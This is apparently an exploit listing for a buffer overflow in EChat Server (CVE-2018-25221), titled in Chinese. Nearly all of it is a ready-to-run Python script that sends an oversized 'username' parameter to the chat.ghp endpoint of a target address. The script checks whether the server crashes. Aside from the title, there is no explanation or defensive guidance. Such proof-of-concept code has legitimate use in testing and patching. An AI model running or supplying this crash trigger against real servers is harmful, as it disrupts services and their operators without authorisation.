CVE-2018-25221 EChat Server缓冲区溢出漏洞

import requests def check_vulnerability(target_url): # Vulnerable endpoint: chat.ghp # Malicious parameter: username # Payload: oversized string to trigger buffer overflow url = f"{target_url}/chat.ghp" # Generating a payload of 5000 'A' characters payload = "A" * 5000 params = { "username": payload } try: print(f"[+] Sending payload to {url}...") response = requests.get(url, params=params, timeout=5) # If the service crashes or hangs, we won't get a standard HTTP response # or the connection might be reset. print(f"[+] Response status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Potential crash detected: {e}") print("[!] The target might be vulnerable to buffer overflow.") if __name__ == "__main__": # Replace with the actual target IP and port target = "http://192.168.1.100:8080" check_vulnerability(target)